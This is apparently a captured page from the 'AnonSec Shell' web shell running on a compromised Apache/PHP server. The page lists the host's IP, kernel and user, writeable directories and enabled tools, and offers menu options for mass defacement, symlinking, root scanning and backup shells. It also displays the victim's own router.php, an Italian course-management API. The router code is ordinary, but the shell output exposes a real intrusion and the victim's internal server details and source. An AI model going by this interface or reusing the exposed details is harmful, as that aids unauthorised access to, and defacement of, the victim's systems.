. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell
AnonSec Shell
Server IP : 52.223.31.75  /  Your IP : 172.31.6.220   [ Reverse IP ]
Web Server : Apache/2.4.66 () OpenSSL/1.0.2k-fips PHP/7.4.33
System : Linux ip-172-31-14-81.eu-central-1.compute.internal 4.14.281-212.502.amzn2.x86_64 #1 SMP Thu May 26 09:52:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
Domains : 4 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/ascii/app/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/ascii/app/router.php
<?php 

$api = new API();
/*ROUTER*/

/*METODI PUBBLICI CHE NON RICHIEDO IL LOGIN*/
if(METHOD!="login" && METHOD!="loginrfid" && METHOD!="getcomuni" && METHOD!="getprovice" && METHOD!="getnazioni" && METHOD!="recuperapassword" && METHOD!="recuperapasswordcentro" && METHOD!="logincentro" && METHOD!="postpresenzerfid" && METHOD!="getcorsisito" && METHOD!="pagamento" && METHOD!="docdattilografia" && METHOD!="docinglese" && METHOD!="docdsga" && METHOD!="scaricacertificatodattilografia" && METHOD!="confermapagamentopaypal" && METHOD!="cronjobemailscheduler"){
	
	if(!$api->validateAuthAndGetUserPublic()){
		echo "Method non autorizzato!";
		die;
	}
}


/*METODI PRIVATI CHE  RICHIEDONO IL LOGIN*/
switch(METHOD){
	case "test":
				// Create an SDK class used to share configuration across clients.
			$sdk = new Aws\Sdk($awsConfig);

			// Use an Aws\Sdk class to create the S3Client object.
			$s3 = $sdk->createS3();
			$result = $s3->listBuckets();

			foreach ($result['Buckets'] as $bucket) {
			    echo $bucket['Name'] . "<br>";
			}
	break;

	case "modificapassword":
		$modificapassword = $api->modificaPassword(OLDPWD, NEWPWD);
		break;

	case "docdattilografia":
		$docdattilografia = $api->docDattilografia(IDCLIENTE, ID,TIPO);
	break;	
	case "docinglese":
		$docinglese = $api->docInglese(IDCLIENTE, ID,TIPO);
	break;	
	case "docdsga":
		//echo "jonny be good";die;
		$docdsga = $api->docDSGA(IDCLIENTE, ID,TIPO, CARTELLA);
	break;	
	case "scaricacertificatodattilografia":
		$scaricacertificatodattilografia = $api->scaricaCertificatoDattilografia(IDCLIENTE, ID, TIPO);
	break;	

	case "inviarichiestacrediti":
		$inviarichiestacrediti = $api->inviaRichiestaCrediti(TITOLO, CONTENUTO, CREDITI);
	break;	

	case "getfileclientedelcentro":
		$getFileCliente = $api->getFileClientedelcentro(IDCLIENTE);
	break;
	case "getfilecliente":
		$getFileCliente = $api->getFileCliente(IDCLIENTE);
	break;
	case "getfilepartner":
		$getFilePartner = $api->getFilePartner(IDPARTNER);
	break;
	case "getfileesterno":
		$getFileEsterno = $api->getFileEsterno(IDESTERNO);
	break;
	case "getfilecentri":
		$getFileCentri = $api->getFileCentri(IDCENTRO);
	break;

	case "getlistafile":
		$getlistafile = $api->getListaFile(TIPO, ID);
	break;

	case "putfiles3":
		$putFileS3 = $api->putFileS3(TIPO, ID, $files);
	break;

	case "getfiles3":
		$getFileS3 = $api->getFile(TIPO, ID, FILENAME);
	break;

	case "ricercatag":
		$ricercatag = $api->ricercaTag(TAG);
	break;

	case "getcertificatocentroprova":
		$getcertificatocentroprova = $api->getCertificatoCentroProva();
	break;

	case "deletelogocentro":
		$deletelogocentro = $api->deleteLogoCentro();
	break;
	

	case "getlogocentro":
		$getlogocentro = $api->getLogoCentro();
	break;
	case "cambialogocentro":
		$cambialogocentro = $api->cambiaLogoCentro($files);
	break;
	
	

	case "deletefiles3":
		$deletefiles3 = $api->deleteFileS3(TIPO, ID, NOMEFILE);
	break;

	case "inviacomunicazione":
		$inviacomunicazione = $api->inviaComunicazioneMassiva(TITOLO, CONTENUTO, CLIENTI); //separati da virgola
	break;

	case "inviacorsoviaemail":

		$inviacorsoviaemail = $api->inviaCorsoViaEmail(OGGETTOEMAIL, IDCORSO, EMAILS, MESSAGGIOHEADER, MESSAGGIOFOOTER); //EMAILS separati da virgola
	break;
	
	case "getloglogin":
		if(defined('IDUSER')){
			$getloglogin = $api->getLogLogin(IDUSER);
		}else{
			$getloglogin = $api->getLogLogin();
		}
	break;

	case "getlogloginhome":
		if(defined('IDUSER')){
			$getloglogin = $api->getLogLoginHome(IDUSER);
		}else{
			$getloglogin = $api->getLogLoginHome();
		}
	break;

	case "login":
		$login = $api->login(USERNAME, PASSWORD);
	break;
	case "logincentro":
		$login = $api->loginCentro(USERNAME, PASSWORD);
	break;

	case "recuperapassword":
		$recuperapassword = $api->recuperaPassword(USERNAME);
	break;
	case "recuperapasswordcentro":
		$recuperapassword = $api->recuperaPasswordCentro(USERNAME);
	break;

	case "logout":
			$api->logout();
	break;

	case "logoutcentro":
			$api->logoutCentro();
	break;

	case "delete":
		$delete = $api->deleteFromTable(ID, TABLE);
	break;
	case "deleteid":
		$deleteid = $api->deleteFromTableId(ID, TABLE);
	break;

	case "getmenu":
		if(defined('PARENTID')){
			$getmenu = $api->getMenu(USERTYPEID, PARENTID);
		}else{
			$getmenu = $api->getMenu(USERTYPEID);
		}
	break;

	case "getfile":
		$api->getFile(ID);
	break;
	case "downloadfile":
		$api->downloadFile(ID);
	break;


	case "getconfigurazioneemail":
		$getconfigurazioneemail = $api->getConfigurazioneEmail();
	break;

	case "setconfigurazioneemail":
		$setconfigurazioneemail = $api->setConfigurazioneEmail(HOST_EMAIL, PORT_EMAIL, USERNAME_EMAIL, PASSWORD_EMAIL, NOME_MITTENTE_EMAIL, EMAIL_MITTENTE_EMAIL);
	break;

	case "getregioni":
		$getregioni = $api->getRegioni();
	break;
	case "getprovince":
		$getprovince = $api->getProvince();
	break;
	case "getcomuni":
		$getcomuni = $api->getComuni(IDPROVINCIA);
	break;
	case "getnazioni":
		$getnazioni = $api->getNazioni();
	break;

	case "getschede":
		$getschede = $api->getSchede();
	break;
	case "getschedecalendario":
		$getschedecalendario = $api->getSchedeCalendario();
	break;

	



	/**
	 * EMAIL API
	 */
	case "createemail":
			$createemail = $api->createEmail(SUBJECT,DESCRIPTION,EMAILTYPEID,TXT,HTML);
	break;
	case "sendemailtogroup":
			$sendemailtogroup = $api->sendEmailToGroup(EMAILID, SENDER_USERID, DEST_GROUPID);
	break;
	case "sendemailtouser":
			$sendemailtouser = $api->sendEmailToUser(EMAILID, SENDER_USERID, DEST_USERID);
	break;


	/**
	* GRAPJ CRM
	*
	*/

	case "getutenti":
		$api->getUtenti();
	break;
	case "getutentildap":
	   	$api->getUtentiLdap(NOME);
	break;
	case "getutenteinformazioni":
		$api->getUtenteInformazioni(IDUSER,DAL,AL);
	break;
	case "getpresenze":
		$api->getPresenze(ID_USER,DAL,AL);
	break;

	case "postpresenze":
		$api->postPresenze(ID_USER,DAL,AL);
	break;

	case "deletepresenza":
		$api->deletePresenza(ID);
	break;

	case "postpresenzerfid":
		$api->postPresenzeRfid(TOKEN);
	break;

	case "registrarfid":
		$api->registraRfid(ID_USER, RFID, FORCE);
	break;

	case "verificarfid":
		$api->verificaRfid(RFID);
	break;

	case "cancellarfid":
		$api->cancellaRfid(RFID);
	break;

	case "loginrfid":
		$api->loginRfid(TOKEN);
	break;

	


	case "updateinformazioneutente":
		$api->updateInformazioneUtente(INFORMAZIONI, ID_USER);
	break;
	case "updateinformazionibasiutente":
		$api->updateInformazioniBaseUtente(FIRSTNAME, LASTNAME, GENERE, DATA_DI_NASCITA, RUOLO, LOCATION, ID_USER, CELLULARE);
	break;
	case "updateinformazionicontattoutente":
		$api->updateInformazioniContattoUtente(CELLULARE, EMAIL, LINKEDIN, WHATSAPP, FACETIME, SKYPE, ID_USER);
	break;
	case "updatefotocontattoutente":
		$api->updateFotoContattoUtente($files, ID_USER);
	break;
	case "insertutente":	
		$api->createUser(USERNAME, FIRSTNAME, LASTNAME, EMAIL, PASSWORD, USER_TYPE_ID, EMAIL_REGISTRAZIONE, COLOR);
	break;
	case "updateutente":	
		$api->updateUser(USERNAME, FIRSTNAME, LASTNAME, EMAIL, PASSWORD, USER_TYPE_ID, EMAIL_REGISTRAZIONE, ID_USER, COLOR);
	break;
	case "deleteutente":	
		$api->deleteUser(ID);
	break;

	case "getgroups":	
		$api->getGroups();
	break;
	case "getgroupusersbyid":	
		$api->getGroupUsersById(ID);
	break;
	case "insertgroup":	
		$api->insertGroup(TITOLO, DESCRIZIONE, PERMESSI);
	break;
	case "editgroup":	
		$api->editGroup(ID, TITOLO, DESCRIZIONE, PERMESSI);
	break;
	case "deletegroup":	
		$api->deleteGroup(ID);
	break;

	case "addusertogroup":	
		$api->addUserToGroup(ID_GROUP, ID_USER);
	break;
	case "removeuserfromgroup":	
		$api->removeUserFromGroup(ID_GROUP, ID_USER);
	break;

	////////QUESTA PARTE VA IN UN FILE ESTERNO//////
	/* @PeoSTART */
	
	case "getupload": $api->downloadFileUploaded(NOMIFILE);
	break;
	
	case "getcitta":	$citta = $api->getCitta();	break;
	




	case "gethome":	include "app/components/pratica/router.php";include "app/components/cliente/router.php"; $api->getHome();	break;

	/* @PeoEND*/

	///////FINE PARTE FILE ESTERNO/////

	/*

		BLOG

		
	*/



	case "getcategorieblog":
		$api->getCategorieBlog();
	break;
	case "insertcategoriablog":
		$insertcategorie = $api->insertCategoriaBlog(NOMECATEGORIA, $files);
	break;
	case "updatecategoriablog":
		$api->updateCategoriaBlog(IDCATEGORIA, NOMECATEGORIA, $files); break;
	break;
	case "deletecategoriablog":
		$deletecategorie = $api->deleteCategoriaBlog(IDCATEGORIA);
	break;



	case "getblog":
		if(defined('IDCATEGORIA')){
			$api->getBlog(IDCATEGORIA); break;
		}else{
			$api->getBlog(); break;
		}
	break;
	case "insertblog":
		$api->insertBlog(TITOLO, TESTO, IDCATEGORIA, $files[0], LINK);
	break;
	case "editblog":
		$api->updateBlog(ID, TITOLO, TESTO, IDCATEGORIA, $files[0], LINK); break;
		
	break;
	case "deleteblog":
		$deletecategorie = $api->deleteBlog(ID);
	break;

	/*case "pagamento":
		$pagamento = $api->pagamento(VALORE);
	break;
*/

//ORDINI
	case "getordini":
		$api->getOrdini(); break;
	case "getnumeroordininonletti":
		$api->getNumeroOrdiniNonLetti(); break;
	case "getordine":
		$api->getOrdine(ID); break;	
	case "cancellaordine":
		$api->deleteOrdine(ID); break;	

	case "getinfopagamentopaypal":
		$api->getInfoPagamentoPayPal(ID); break;
	case "aggiornainfopagamentodapaypal":
		$api->aggiornaInfoPagamentoDaPayPal(ORDERID); break;	
/*	
	case "testemail":
		$api->testEmail(); break;	*/

		
	case "confermapagamentopaypal":
		$api->confermaPagamentoPayPal(ID); break;	
	case "annullapagamentopaypal":
		$api->annullaPagamentoPayPal(ID); break;			

	case "insertordine":	
		$api->insertOrdine(STATUSCODE, STATUS, SLUG_CORSO, TITOLO_CORSO, DATA_PAGAMENTO, PREZZO_VENDITA, NOME, EMAIL, ID_USER_PAYPAL, VIA, AREA1, AREA2, CODICE_POSTALE, CODICE_PAESE, CODICE_PAGAMENTO, METODO_PAGAMENTO, TIPOLOGIA); break;
	case "updateordine":	
		$api->updateOrdine(ID, STATUSCODE, STATUS, SLUG_CORSO, TITOLO_CORSO, DATA_PAGAMENTO, PREZZO_VENDITA, NOME, EMAIL, ID_USER_PAYPAL, VIA, AREA1, AREA2, CODICE_POSTALE, CODICE_PAESE, CODICE_PAGAMENTO, METODO_PAGAMENTO); break;
	
	case "visualizzatoordine":
		$api->visualizzatoOrdine(ID, VISUALIZZATO);break;

	case "getnotifiche":
		$api->getNotifiche();break;
	case "getclientinotifiche":
		$api->getClientiNotifiche();break;
	case "legginotifica":
		$api->leggiNotifica(ID);break;
	case "inseriscinotifica":
		$api->inserisciNotifica(IDCLIENTE, CLIENTE, DATA, PRIORITA, NOTA, TITOLO);break;
	case "modificanotifica":
		$api->modificaNotifica(ID, IDCLIENTE, CLIENTE, DATA, PRIORITA, NOTA, TITOLO);break;
	case "cancellanotifica":
		$api->cancellaNotifica(ID);break;
	case "getnumeronotifichenonletti":
		$api->getNumeroNotificheNonLetti();break;

	case "cronjobemailscheduler":
		$api->cronjobemailscheduler();break;

	case "getclientischeduler":
		$api->getclientischeduler();break;
	case "getcorsischeduler":
		$api->getcorsischeduler();break;
	case "getscheduler":
		$api->getscheduler();break;
	case "inseriscischeduler":
		$api->inseriscischeduler(IDCLIENTE, CLIENTE, DATA, DATA_SECONDO, TIPOLOGIA, IDCORSO, CORSO, CORPO, OGGETTO, DATAESAME, CORPOFILED, OGGETTOFIELD);break;
	case "modificascheduler":
		$api->modificascheduler(ID, IDCLIENTE, CLIENTE, DATA, DATA_SECONDO, TIPOLOGIA, IDCORSO, CORSO, CORPO, OGGETTO, DATAESAME, CORPOFIELD, OGGETTOFIELD);break;
	case "cancellascheduler":
		$api->cancellascheduler(ID);break;
	case "getcentriesterni":
		$api->getcentriesterni();break;
	case "associagestionale":
		$api->associagestionale(ID_PIATTAFORMA, IDCLIENTE, ID_CENTRO);break;

	

	default:

		if($_SESSION["userdata"]["user_type_id"] !=236876){
		include "app/components/corso/router.php";
		include "app/components/stato/router.php";
		include "app/components/cliente/router.php";
		include "app/components/categoria/router.php";
		include "app/components/pratica/router.php";
		include "app/components/partner/router.php";
		include "app/components/esterni/router.php";
		}
		include "app/components/centri/router.php";

		
		break;
}


?>



Anon7 - 2022
AnonSec Team